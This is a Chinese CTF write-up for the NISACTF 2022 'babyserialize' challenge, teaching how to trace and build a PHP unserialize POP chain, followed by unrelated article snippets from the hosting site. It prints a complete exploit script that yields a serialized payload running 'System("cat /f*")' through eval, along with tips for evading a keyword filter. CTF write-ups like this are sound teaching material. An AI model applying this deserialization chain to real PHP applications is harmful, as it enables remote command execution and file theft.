[NISACTF 2022]babyserialize(pop链构造与脚本编写详细教学)

目录

一、理清pop链并进行标注

二、如何编写相关脚本

三、过滤与绕过

1、waf的绕过

2、preg_match的绕过


做这道题作为pop链的构造很典型,也很有意思,因为还存在一些其他东西。

打开链接,这种很多类的PHP代码多半是需要构造pop链

一、理清pop链并进行标注

 先找eval、flag这些危险函数和关键字样(这就是链尾),找到eval函数,且参数是txw4ever

 

我们可以利用这个txw4ever,来调用系统函数实现命令执行

OK,下面开始教你们做标注

首先我们找到第一步用到的参数所在位置,并在后面标注清楚需要传入的内容

1可以理解为第一步,shell表示我们这里需要传入一个类似shell的东西或者用system标注

传给谁就标注在谁的后面,这里表示要传给txw4ever,而txw4ever是在NISA类下

标注好后,我们回到PHP源码,往eval上面看,发现需要触发__invoke()函数

__invoke是对象被当做函数进行调用时就会触发,我们去找类似$a()这种的(所有类里面找)

找到$bb(),它对应的参数是su,且在类Ilovetxw里

同理我们进行标注,表示要调用参数su,传入NISA类

 

标注好后,我们回到PHP源码,往bb上面看,发现需要触发__toString()函数 

__ToString⽅法是当对象被当做字符串的时候会自动调用

继续在所有类里面找,找到strtolower函数,该函数是将字符串转换成小写

 对应参数 a ,在four类里,我们找到a的位置继续进行标注

因为这里还存在一个if的判断语句,需要符合才能执行后面语句,所有还需要给fun也赋值

因为fun是私有变量,我们最好直接在类里面修改

原来$fun='abc'; 将它修改为下图所示

回到PHP源码,继续往上我们找到__set函数

__set是对不存在或者不可访问的变量进行赋值就会自动调用

于是我们找到huang,我们可以看到在Ilovetxw类里面并不存在fun这个参数

同样进行标注

 

后面我就不详细理下去了,相信你们已经明白了

(不懂的欢迎私信我,可以给你们一对一慢慢详细讲解)

依次往上追到__call函数,__call是对不存在的方法或者不可访问的方法进行调用就自动调用

找到nisa,该类中并不存在这个方法,再往上就找到wakeup函数, 即我们的链头了

该函数在使用unserilize之前就会触发。

以及相关的标注:

我都感觉我讲得太详细了,听懂了的评论区扣个666

至此,我们理清了pop链,并进行了传参的相关标注

二、如何编写相关脚本

先将所有类复制下来放进VS(前面加上<?php)

在这些类后面,我们开始写脚本,我先将完整的能跑出flag的脚本给大家:

<?phpclass NISA{public $fun="show_me_flag";public $txw4ever; // 1 shellpublic function __wakeup(){if($this->fun=="show_me_flag"){hint();}}function __call($from,$val){$this->fun=$val[0];}public function __toString(){echo $this->fun;return " ";}public function __invoke(){checkcheck($this->txw4ever);@eval($this->txw4ever);}
}class TianXiWei{public $ext; //5 Ilovetxwpublic $x;public function __wakeup(){$this->ext->nisa($this->x);}
}class Ilovetxw{public $huang; //4 fourpublic $su; //2 NISApublic function __call($fun1,$arg){$this->huang->fun=$arg[0];}public function __toString(){$bb = $this->su;return $bb();}
}class four{public $a="TXW4EVER"; //3 Ilovetxwprivate $fun='sixsixsix'; //fun = "sixsixsixpublic function __set($name, $value){$this->$name=$value;if ($this->fun = "sixsixsix"){strtolower($this->a);}}
}$n = new NISA();
$n->txw4ever = 'System("cat /f*");';
$n->fun = "666";
$i = new Ilovetxw();
$i->su = $n;
$f = new four();
$f->a = $i;
$i = new Ilovetxw();
$i->huang = $f;
$t = new TianXiWei();
$t->ext = $i;
echo urlencode(serialize($t));

我们就根据刚才标注的12345顺序来写,用到哪个类时,必须先用new实例化一遍

(哪怕重复用到了某个类,也需要重新实例化一遍,比如上面的Ilovetxw类)

给大家开个头吧,我们先用到NISA类,所以实例化NISA类:$n = new NISA();

$n->txw4ever表示调用这个类里面的txw4ever,后面传入我们想要传入的内容即可

至于为什么改fun的值,我们后面再说;

至此我们完成了1步骤,继续往下看,来到2

我们用到Ilovetxw类,将其实例化,同理根据标注进行调用传参即可

这样我们就可以写出后面所以的脚本了

三、过滤与绕过

这里存在两个需要绕过的地方,源码有给提示

1、waf的绕过

这里有一个hint函数,触发就会输出一些提示的东西

找到hint函数位置,在第一个类,如何绕过这个函数 ,只需让if语句判断不成立即可

所以你现在知道为什么前面我们需要修改fun的值了吧。

如果没有改fun的值,你只能得到一个提示,flag在根目录

 

2、preg_match的绕过

preg_match用来进行正则匹配,但没给匹配的内容,用的......,暗示我们存在关键字的过滤,

这里system被过滤掉了,如果我们原封不动的使用system,不出意外会返回 something wrong

OK,就不跟大家唠叨了,咱直接拿flag

 NSSCTF{eaa7fba4-17d4-4f17-ad15-38f20c0bf961}

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/15368.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

stm32_<一文通>_cubemx_freertos

文章目录 前言一、任务调度1.1 延时1.1.1 相对延时1.1.2 绝对延时 1.2 挂起和恢复1.2.1 cmsis的挂起和恢复函数1.2.2 freertos的挂起和恢复函数 1.3 删除1.3.1 cmsis的删除任务函数1.3.2 freertos的删除任务函数 二、Freertos任务与中断三、消息队列3.1 写入和读取一个数据3.2 …

什么是数据一致性

什么是数据一致性 数据一致性这个单词在平常开发中&#xff0c;或者各种文章中都能经常看见&#xff0c;我们常常听见什么东西数据不一致了&#xff0c;造成了一定的损失&#xff0c;赶快修复一下。但是很多同学对一致性具体代表什么意思&#xff0c;他有什么作用依然不是很了解…

一文弄懂Java日志框架

文章目录 日志的概念日志门面JUL日志框架JUL架构入门案例日志的级别Logger之间的父子关系日志的配置文件日志原理解析 LOG4J日志框架Log4j入门Log4j组件LoggersAppendersLayouts Layout的格式Appender的输出自定义Logger JCL日志门面JCL入门JCL原理 SLF4J日志门面SLF4J入门绑定…

Redis优化

目录 一、Redis高可用 二、Redis持久化 1.RDB持久化 1.1触发条件 1.1.1手动触发 1.1.2自动触发 1.2其他自动触发机制 1.3执行流程 1.4启动时加载 2.AOF 持久化 2.1开启AOF 2.2执行流程 2.2.1命令追加(append) 2.2.2文件写入(write)和文件同步(sync) 2.2.3文件重…

TCP Socket性能优化秘籍:掌握read、recv、readv、write、send、sendv的最佳实践

TCP Socket性能优化秘籍&#xff1a;掌握read、recv、readv、write、send、sendv的最佳实践 博主简介一、引言1.1、TCP Socket在网络通信中的重要性1.2、为什么需要优化TCP Socket的性能&#xff1f; 二、TCP Socket读操作的性能优化2.1、read、recv、readv的功能和用法2.2、提…

S32K14x FlexCAN入门

每个系列S32K14x支持的邮箱个数。 基本每个系列的FlexCAN0可以支持32个报文缓存和支持CANFD。 中断源 mail 最多有32个mail • 灵活的消息缓冲区 (MB)&#xff0c;总共 32 个消息缓冲区&#xff0c;数据长度为 8 字节 每个&#xff0c;可配置为 Rx 或 Tx 过滤掩码功能 强…

应对Python爬虫IP被封的策略及建议。

我们在进行数据抓取使用代理ip的时候需要有一些约束规定&#xff0c;才能保证我们持续稳定的抓取数据。 大概整理了一下&#xff0c;需要注意以下几点&#xff0c;仅供参考&#xff1a; 1、使用高质量的代理服务器&#xff1a;选择一些可靠的代理服务器&#xff0c;确保它们的…

Intellij IDEA 初学入门图文教程(八) —— IDEA 在提交代码时 Performing Code Analysis 卡死

在使用 IDEA 开发过程中&#xff0c;提交代码时常常会在碰到代码中的 JS 文件时卡死&#xff0c;进度框上显示 Performing Code Analysis&#xff0c;如图&#xff1a; 原因是 IDEA 工具默认提交代码时&#xff0c;分析代码功能是打开的&#xff0c;需要通过配置关闭下就可以了…

.net项目开发-EF框架解决添加默认值问题

文章目录 前言EF中核心类DbContextDbContext中的SaveChanges()方法重写SaveChanges()方法注意点-Modified 其它状态下的实体如何操作 前言 最近开发.net项目&#xff0c;持久层用的是EF框架&#xff0c;也是第一次使用这个框架&#xff0c;用这个框架的好处就是基于实体的开发…

MyBatis中的动态SQL(sql标签、where标签、set标签、批量增加与批量删除)

目录 sql标签 ​编辑 where标签 set标签 foreach标签 批量增加 批量删除 将基础SQL语句中重复性高的增加它的复用性&#xff0c;使得sql语句的灵活性更强 sql标签<sql> <sql id"text">select * from user</sql><select id"selectA…

基于simulink处理监控视频以选择包含运动的帧(附源码)

一、前言 此示例演示如何处理监控视频以选择包含运动的帧。安全问题要求使用摄像机对重要位置进行持续监控。为了有效地记录、查看和存档这些海量数据&#xff0c;您可以减小视频帧大小或减少录制的视频帧总数。此示例说明了后一种方法。在其中&#xff0c;相机视野中的运动会…

Win10 显示WLAN不安全,并且链路速度54/54 (Mbps),通过K3C路由器修改协议解决,无线网卡连接速度只有54Mbps

省流 换个安全协议就好了。 使用有线等同隐私(WEP)或临时密钥完整性协议(TKIP)加密配置时&#xff0c;客户端设备的WiFi数据传输速率不会超过54Mbps&#xff0c; 问题 我用的是K3C路由器&#xff0c;今天跑百度网盘感觉很奇怪&#xff0c;突然就只有10MB/s了&#xff0c;感觉…